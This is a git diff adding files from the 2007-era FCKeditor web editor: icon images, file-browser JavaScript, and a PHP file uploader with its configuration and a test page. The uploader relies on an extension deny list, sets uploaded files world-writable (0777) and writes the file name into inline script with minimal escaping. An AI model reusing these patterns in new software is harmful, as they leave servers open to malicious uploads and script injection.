diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/mp3.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/mp3.gif
new file mode 100755 (executable)
index 0000000..7d6360f
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/mp3.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/pdf.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/pdf.gif
new file mode 100755 (executable)
index 0000000..4950ec8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/pdf.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/ppt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/ppt.gif
new file mode 100755 (executable)
index 0000000..023431c
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/ppt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/rdp.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/rdp.gif
new file mode 100755 (executable)
index 0000000..b9eace7
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/rdp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/swf.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/swf.gif
new file mode 100755 (executable)
index 0000000..5df7de5
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/swf.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/swt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/swt.gif
new file mode 100755 (executable)
index 0000000..7807c07
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/swt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/txt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/txt.gif
new file mode 100755 (executable)
index 0000000..4e2c2e3
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/txt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/vsd.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/vsd.gif
new file mode 100755 (executable)
index 0000000..7624697
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/vsd.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/xls.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/xls.gif
new file mode 100755 (executable)
index 0000000..afe724a
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/xls.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/xml.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/xml.gif
new file mode 100755 (executable)
index 0000000..4fae356
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/xml.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/32/zip.gif b/fckeditor/editor/filemanager/browser/default/images/icons/32/zip.gif
new file mode 100755 (executable)
index 0000000..7157f72
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/32/zip.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/ai.gif b/fckeditor/editor/filemanager/browser/default/images/icons/ai.gif
new file mode 100755 (executable)
index 0000000..ba5a913
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/ai.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/avi.gif b/fckeditor/editor/filemanager/browser/default/images/icons/avi.gif
new file mode 100755 (executable)
index 0000000..6f3bac9
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/avi.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/bmp.gif b/fckeditor/editor/filemanager/browser/default/images/icons/bmp.gif
new file mode 100755 (executable)
index 0000000..7708dd8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/bmp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/cs.gif b/fckeditor/editor/filemanager/browser/default/images/icons/cs.gif
new file mode 100755 (executable)
index 0000000..4d92723
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/cs.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/default.icon.gif b/fckeditor/editor/filemanager/browser/default/images/icons/default.icon.gif
new file mode 100755 (executable)
index 0000000..6ce26a4
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/default.icon.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/dll.gif b/fckeditor/editor/filemanager/browser/default/images/icons/dll.gif
new file mode 100755 (executable)
index 0000000..48d445a
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/dll.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/doc.gif b/fckeditor/editor/filemanager/browser/default/images/icons/doc.gif
new file mode 100755 (executable)
index 0000000..6535b4c
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/doc.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/exe.gif b/fckeditor/editor/filemanager/browser/default/images/icons/exe.gif
new file mode 100755 (executable)
index 0000000..315817f
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/exe.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/fla.gif b/fckeditor/editor/filemanager/browser/default/images/icons/fla.gif
new file mode 100755 (executable)
index 0000000..8f91a98
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/fla.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/gif.gif b/fckeditor/editor/filemanager/browser/default/images/icons/gif.gif
new file mode 100755 (executable)
index 0000000..a5e3e6c
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/gif.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/htm.gif b/fckeditor/editor/filemanager/browser/default/images/icons/htm.gif
new file mode 100755 (executable)
index 0000000..0b5d6ba
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/htm.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/html.gif b/fckeditor/editor/filemanager/browser/default/images/icons/html.gif
new file mode 100755 (executable)
index 0000000..0b5d6ba
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/html.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/jpg.gif b/fckeditor/editor/filemanager/browser/default/images/icons/jpg.gif
new file mode 100755 (executable)
index 0000000..634b386
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/jpg.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/js.gif b/fckeditor/editor/filemanager/browser/default/images/icons/js.gif
new file mode 100755 (executable)
index 0000000..4ea17d4
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/js.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/mdb.gif b/fckeditor/editor/filemanager/browser/default/images/icons/mdb.gif
new file mode 100755 (executable)
index 0000000..0d7c102
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/mdb.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/mp3.gif b/fckeditor/editor/filemanager/browser/default/images/icons/mp3.gif
new file mode 100755 (executable)
index 0000000..6f3bac9
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/mp3.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/pdf.gif b/fckeditor/editor/filemanager/browser/default/images/icons/pdf.gif
new file mode 100755 (executable)
index 0000000..ca1f94a
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/pdf.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/ppt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/ppt.gif
new file mode 100755 (executable)
index 0000000..877a8c8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/ppt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/rdp.gif b/fckeditor/editor/filemanager/browser/default/images/icons/rdp.gif
new file mode 100755 (executable)
index 0000000..916cd7e
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/rdp.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/swf.gif b/fckeditor/editor/filemanager/browser/default/images/icons/swf.gif
new file mode 100755 (executable)
index 0000000..314469d
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/swf.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/swt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/swt.gif
new file mode 100755 (executable)
index 0000000..314469d
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/swt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/txt.gif b/fckeditor/editor/filemanager/browser/default/images/icons/txt.gif
new file mode 100755 (executable)
index 0000000..1511ba3
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/txt.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/vsd.gif b/fckeditor/editor/filemanager/browser/default/images/icons/vsd.gif
new file mode 100755 (executable)
index 0000000..9be3daa
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/vsd.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/xls.gif b/fckeditor/editor/filemanager/browser/default/images/icons/xls.gif
new file mode 100755 (executable)
index 0000000..f57715d
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/xls.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/xml.gif b/fckeditor/editor/filemanager/browser/default/images/icons/xml.gif
new file mode 100755 (executable)
index 0000000..4559928
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/xml.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/icons/zip.gif b/fckeditor/editor/filemanager/browser/default/images/icons/zip.gif
new file mode 100755 (executable)
index 0000000..b1e2492
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/icons/zip.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/images/spacer.gif b/fckeditor/editor/filemanager/browser/default/images/spacer.gif
new file mode 100755 (executable)
index 0000000..35d42e8
Binary files /dev/null and b/fckeditor/editor/filemanager/browser/default/images/spacer.gif differ
diff --git a/fckeditor/editor/filemanager/browser/default/js/common.js b/fckeditor/editor/filemanager/browser/default/js/common.js
new file mode 100755 (executable)
index 0000000..cca4d6f
--- /dev/null
@@ -0,0 +1,59 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: common.js
+ *     Common objects and functions shared by all pages that compose the
+ *     File Browser dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function AddSelectOption( selectElement, optionText, optionValue )
+{
+       var oOption = document.createElement("OPTION") ;
+
+       oOption.text    = optionText ;
+       oOption.value   = optionValue ; 
+
+       selectElement.options.add(oOption) ;
+
+       return oOption ;
+}
+
+var oConnector = window.parent.oConnector ;
+var oIcons             = window.parent.oIcons ;
+
+
+function StringBuilder( value )
+{
+    this._Strings = new Array( value || '' ) ;
+}
+
+StringBuilder.prototype.Append = function( value )
+{
+    if ( value )
+        this._Strings.push( value ) ;
+}
+
+StringBuilder.prototype.ToString = function()
+{
+    return this._Strings.join( '' ) ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/js/fckxml.js b/fckeditor/editor/filemanager/browser/default/js/fckxml.js
new file mode 100755 (executable)
index 0000000..3ac19a4
--- /dev/null
@@ -0,0 +1,133 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckxml.js
+ *     Defines the FCKXml object that is used for XML data calls
+ *     and XML processing.
+ *     This script is shared by almost all pages that compose the 
+ *     File Browser frameset.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var FCKXml = function()
+{}
+
+FCKXml.prototype.GetHttpRequest = function()
+{
+       // Gecko / IE7
+       if ( typeof(XMLHttpRequest) != 'undefined' )
+               return new XMLHttpRequest() ;
+
+       // IE6
+       try { return new ActiveXObject( 'Msxml2.XMLHTTP' ) ; } 
+       catch(e) {}
+
+       // IE5
+       try { return new ActiveXObject( 'Microsoft.XMLHTTP' ) ; }
+       catch(e) {}
+
+       return null ;
+}
+
+FCKXml.prototype.LoadUrl = function( urlToCall, asyncFunctionPointer )
+{
+       var oFCKXml = this ;
+
+       var bAsync = ( typeof(asyncFunctionPointer) == 'function' ) ;
+
+       var oXmlHttp = this.GetHttpRequest() ;
+               
+       oXmlHttp.open( "GET", urlToCall, bAsync ) ;
+
+       if ( bAsync )
+       {       
+               oXmlHttp.onreadystatechange = function() 
+               {
+                       if ( oXmlHttp.readyState == 4 )
+                       {
+                               if ( oXmlHttp.responseXML == null || oXmlHttp.responseXML.firstChild == null)
+                               {
+                                       alert( 'The server didn\'t send back a proper XML response.\r\n\r\n' +
+                                                       'Requested URL: ' + urlToCall + '\r\n' +
+                                                       'Response text:\r\n' + oXmlHttp.responseText ) ;
+                                       return ;
+                               }
+                               oFCKXml.DOMDocument = oXmlHttp.responseXML ;
+                               if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
+                                       asyncFunctionPointer( oFCKXml ) ;
+                               else
+                                       alert( 'XML request error: ' + oXmlHttp.statusText + ' (' + oXmlHttp.status + ')' ) ;
+                       }
+               }
+       }
+       
+       oXmlHttp.send( null ) ;
+       
+       if ( ! bAsync )
+       {
+               if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
+                       this.DOMDocument = oXmlHttp.responseXML ;
+               else
+               {
+                       alert( 'XML request error: ' + oXmlHttp.statusText + ' (' + oXmlHttp.status + ')' ) ;
+               }
+       }
+}
+
+FCKXml.prototype.SelectNodes = function( xpath )
+{
+       if ( navigator.userAgent.indexOf('MSIE') >= 0 )         // IE
+               return this.DOMDocument.selectNodes( xpath ) ;
+       else                                    // Gecko
+       {
+               var aNodeArray = new Array();
+
+               var xPathResult = this.DOMDocument.evaluate( xpath, this.DOMDocument, 
+                               this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), XPathResult.ORDERED_NODE_ITERATOR_TYPE, null) ;
+               if ( xPathResult ) 
+               {
+                       var oNode = xPathResult.iterateNext() ;
+                       while( oNode )
+                       {
+                               aNodeArray[aNodeArray.length] = oNode ;
+                               oNode = xPathResult.iterateNext();
+                       }
+               } 
+               return aNodeArray ;
+       }
+}
+
+FCKXml.prototype.SelectSingleNode = function( xpath ) 
+{
+       if ( navigator.userAgent.indexOf('MSIE') >= 0 )         // IE
+               return this.DOMDocument.selectSingleNode( xpath ) ;
+       else                                    // Gecko
+       {
+               var xPathResult = this.DOMDocument.evaluate( xpath, this.DOMDocument,
+                               this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), 9, null);
+
+               if ( xPathResult && xPathResult.singleNodeValue )
+                       return xPathResult.singleNodeValue ;
+               else    
+                       return null ;
+       }
+}
diff --git a/fckeditor/editor/filemanager/upload/php/config.php b/fckeditor/editor/filemanager/upload/php/config.php
new file mode 100755 (executable)
index 0000000..ee8266a
--- /dev/null
@@ -0,0 +1,60 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: config.php
+ *     Configuration file for the PHP File Uploader.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+global $Config ;
+
+// SECURITY: You must explicitelly enable this "uploader". 
+$Config['Enabled'] = false ;
+
+// Set if the file type must be considere in the target path. 
+// Ex: /userfiles/image/ or /userfiles/file/
+$Config['UseFileType'] = false ;
+
+// Path to uploaded files relative to the document root.
+$Config['UserFilesPath'] = '/userfiles/' ;
+
+// Fill the following value it you prefer to specify the absolute path for the
+// user files directory. Usefull if you are using a virtual directory, symbolic
+// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
+// Attention: The above 'UserFilesPath' must point to the same directory.
+$Config['UserFilesAbsolutePath'] = '' ;
+
+// Due to security issues with Apache modules, it is reccomended to leave the
+// following setting enabled.
+$Config['ForceSingleExtension'] = true ;
+
+$Config['AllowedExtensions']['File']   = array() ;
+$Config['DeniedExtensions']['File']            = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;
+
+$Config['AllowedExtensions']['Image']  = array('jpg','gif','jpeg','png') ;
+$Config['DeniedExtensions']['Image']   = array() ;
+
+$Config['AllowedExtensions']['Flash']  = array('swf','fla') ;
+$Config['DeniedExtensions']['Flash']   = array() ;
+
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/upload/php/upload.php b/fckeditor/editor/filemanager/upload/php/upload.php
new file mode 100755 (executable)
index 0000000..48eea6d
--- /dev/null
@@ -0,0 +1,128 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: upload.php
+ *     This is the "File Uploader" for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+require('config.php') ;
+require('util.php') ;
+
+// This is the function that sends the results of the uploading process.
+function SendResults( $errorNumber, $fileUrl = '', $fileName = '', $customMsg = '' )
+{
+       echo '<script type="text/javascript">' ;
+       echo 'window.parent.OnUploadCompleted(' . $errorNumber . ',"' . str_replace( '"', '\\"', $fileUrl ) . '","' . str_replace( '"', '\\"', $fileName ) . '", "' . str_replace( '"', '\\"', $customMsg ) . '") ;' ;
+       echo '</script>' ;
+       exit ;
+}
+
+// Check if this uploader has been enabled.
+if ( !$Config['Enabled'] )
+       SendResults( '1', '', '', 'This file uploader is disabled. Please check the "editor/filemanager/upload/php/config.php" file' ) ;
+
+// Check if the file has been correctly uploaded.
+if ( !isset( $_FILES['NewFile'] ) || is_null( $_FILES['NewFile']['tmp_name'] ) || $_FILES['NewFile']['name'] == '' )
+       SendResults( '202' ) ;
+
+// Get the posted file.
+$oFile = $_FILES['NewFile'] ;
+
+// Get the uploaded file name extension.
+$sFileName = $oFile['name'] ;
+
+// Replace dots in the name with underscores (only one dot can be there... security issue).
+if ( $Config['ForceSingleExtension'] )
+       $sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;
+
+$sOriginalFileName = $sFileName ;
+
+// Get the extension.
+$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
+$sExtension = strtolower( $sExtension ) ;
+
+// The the file type (from the QueryString, by default 'File').
+$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
+
+// Check if it is an allowed type.
+if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
+    SendResults( 1, '', '', 'Invalid type specified' ) ;
+
+// Get the allowed and denied extensions arrays.
+$arAllowed     = $Config['AllowedExtensions'][$sType] ;
+$arDenied      = $Config['DeniedExtensions'][$sType] ;
+
+// Check if it is an allowed extension.
+if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
+       SendResults( '202' ) ;
+
+$sErrorNumber  = '0' ;
+$sFileUrl              = '' ;
+
+// Initializes the counter used to rename the file, if another one with the same name already exists.
+$iCounter = 0 ;
+
+// Get the target directory.
+if ( isset( $Config['UserFilesAbsolutePath'] ) && strlen( $Config['UserFilesAbsolutePath'] ) > 0 )
+       $sServerDir = $Config['UserFilesAbsolutePath'] ;
+else 
+       $sServerDir = GetRootPath() . $Config["UserFilesPath"] ;
+
+if ( $Config['UseFileType'] )
+       $sServerDir .= $sType . '/' ;
+
+while ( true )
+{
+       // Compose the file path.
+       $sFilePath = $sServerDir . $sFileName ;
+
+       // If a file with that name already exists.
+       if ( is_file( $sFilePath ) )
+       {
+               $iCounter++ ;
+               $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
+               $sErrorNumber = '201' ;
+       }
+       else
+       {
+               move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
+
+               if ( is_file( $sFilePath ) )
+               {
+                       $oldumask = umask(0) ;
+                       chmod( $sFilePath, 0777 ) ;
+                       umask( $oldumask ) ;
+               }
+               
+               if ( $Config['UseFileType'] )
+                       $sFileUrl = $Config["UserFilesPath"] . $sType . '/' . $sFileName ;
+               else
+                       $sFileUrl = $Config["UserFilesPath"] . $sFileName ;
+
+               break ;
+       }
+}
+
+SendResults( $sErrorNumber, $sFileUrl, $sFileName ) ;
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/upload/php/util.php b/fckeditor/editor/filemanager/upload/php/util.php
new file mode 100755 (executable)
index 0000000..f341c93
--- /dev/null
@@ -0,0 +1,44 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: util.php
+ *     This is the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function RemoveExtension( $fileName )
+{
+       return substr( $fileName, 0, strrpos( $fileName, '.' ) ) ;
+}
+
+function GetRootPath()
+{
+       $sRealPath = realpath( './' ) ;
+
+       $sSelfPath = $_SERVER['PHP_SELF'] ;
+       $sSelfPath = substr( $sSelfPath, 0, strrpos( $sSelfPath, '/' ) ) ;
+
+       return substr( $sRealPath, 0, strlen( $sRealPath ) - strlen( $sSelfPath ) ) ;
+}
+
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/upload/test.html b/fckeditor/editor/filemanager/upload/test.html
new file mode 100755 (executable)
index 0000000..df6a628
--- /dev/null
@@ -0,0 +1,137 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: test.html
+ *     Test page for the "File Uploaders".
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>FCKeditor - Uploaders Tests</title>
+               <script language="javascript">
+
+function SendFile()
+{
+       var sUploaderUrl = cmbUploaderUrl.value ;
+       
+       if ( sUploaderUrl.length == 0 )
+               sUploaderUrl = txtCustomUrl.value ;
+       
+       if ( sUploaderUrl.length == 0 )
+       {
+               alert( 'Please provide your custom URL or select a default one' ) ;
+               return ;
+       }
+       
+       eURL.innerHTML = sUploaderUrl ;
+       txtUrl.value = '' ;
+       
+       frmUpload.action = sUploaderUrl ;
+       frmUpload.submit() ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+       switch ( errorNumber )
+       {
+               case 0 :        // No errors
+                       txtUrl.value = fileUrl ;
+                       alert( 'File uploaded with no errors' ) ;
+                       break ;
+               case 1 :        // Custom error
+                       alert( customMsg ) ;
+                       break ;
+               case 10 :       // Custom warning
+                       txtUrl.value = fileUrl ;
+                       alert( customMsg ) ;
+                       break ;
+               case 201 :
+                       txtUrl.value = fileUrl ;
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file' ) ;
+                       break ;
+               case 203 :
+                       alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+                       break ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       break ;
+       }
+}
+
+               </script>
+       </head>
+       <body>
+               <table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%">
+                       <tr>
+                               <td>
+                                       <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td nowrap>
+                                                               Select the "File Uploader" to use:<br>
+                                                               <select id="cmbUploaderUrl">
+                                                                       <option selected value="asp/upload.asp">ASP</option>
+                                                                       <option value="aspx/upload.aspx">ASP.Net</option>
+                                                                       <option value="cfm/upload.cfm">ColdFusion</option>
+                                                                       <option value="lasso/upload.lasso">Lasso</option>
+                                                                       <option value="php/upload.php">PHP</option>
+                                                                       <option value="">(Custom)</option>
+                                                               </select>
+                                                       </td>
+                                                       <td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
+                                                       <td width="100%">
+                                                               Custom Uploader URL:<BR>
+                                                               <input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                                       <br>
+                                       <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td noWrap>
+                                                               <form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post">
+                                                                       Upload a new file:<br>
+                                                                       <input type="file" name="NewFile"><br>
+                                                                       <input type="button" value="Send it to the Server" onclick="SendFile();">
+                                                               </form>
+                                                       </td>
+                                                       <td style="WIDTH: 16px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
+                                                       <td vAlign="top" width="100%">
+                                                               Uploaded File URL:<br>
+                                                               <INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                                       <br>
+                                       Post URL: <span id="eURL">&nbsp;</span>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td height="100%">
+                                       <iframe name="UploadWindow" width="100%" height="100%" src="javascript:void(0)"></iframe>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/images/anchor.gif b/fckeditor/editor/images/anchor.gif
new file mode 100755 (executable)
index 0000000..5aa797b
Binary files /dev/null and b/fckeditor/editor/images/anchor.gif differ
diff --git a/fckeditor/editor/images/arrow_ltr.gif b/fckeditor/editor/images/arrow_ltr.gif
new file mode 100755 (executable)
index 0000000..9c59bfe
Binary files /dev/null and b/fckeditor/editor/images/arrow_ltr.gif differ
diff --git a/fckeditor/editor/images/arrow_rtl.gif b/fckeditor/editor/images/arrow_rtl.gif
new file mode 100755 (executable)
index 0000000..22e8649
Binary files /dev/null and b/fckeditor/editor/images/arrow_rtl.gif differ
